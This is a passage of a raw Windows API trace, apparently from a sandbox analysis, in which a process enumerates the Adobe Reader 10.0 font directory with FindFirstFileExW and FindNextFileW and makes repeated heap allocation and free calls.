ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x436ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-It.otf", cAlternateFileName="")) returned 1 [0084.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed488 [0084.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cdf68 [0084.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7a80) returned 0x12bb0b0 [0084.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0084.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.047] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f615220, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Regular.otf", cAlternateFileName="")) returned 1 [0084.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed4a8 [0084.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce070 [0084.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.049] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x175c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Bold.otf", cAlternateFileName="")) returned 1 [0084.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed4c8 [0084.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce178 [0084.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.050] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1879c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-BoldIt.otf", cAlternateFileName="")) returned 1 [0084.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed4e8 [0084.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce280 [0084.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.052] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-It.otf", cAlternateFileName="")) returned 1 [0084.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed508 [0084.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce388 [0084.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.054] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17098, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Regular.otf", cAlternateFileName="")) returned 1 [0084.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed528 [0084.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce490 [0084.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.056] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFM", cAlternateFileName="")) returned 1 [0084.056] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0084.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed548 [0084.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce598 [0084.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.057] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12735, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZX______.PFB", cAlternateFileName="")) returned 1 [0084.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed568 [0084.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce6a0 [0084.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.059] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 1 [0084.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ed588 [0084.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce7a8 [0084.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 0 [0084.061] GetLastError () returned 0x12 [0084.061] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0084.061] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Bold.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3d9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-BoldItalic.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3dce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Italic.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Regular.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10e4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Bold.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-BoldItalic.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83575be0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Italic.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Regular.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePiStd.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Bold.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835e8000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-BoldItalic.otf", cAlternateFileName="")) returned 1 [0084.061] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Italic.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10530, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Regular.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Bold.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x90dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-BoldOblique.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9238, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Oblique.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Bold.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43898, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-BoldIt.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x436ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-It.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f615220, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Regular.otf", cAlternateFileName="")) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 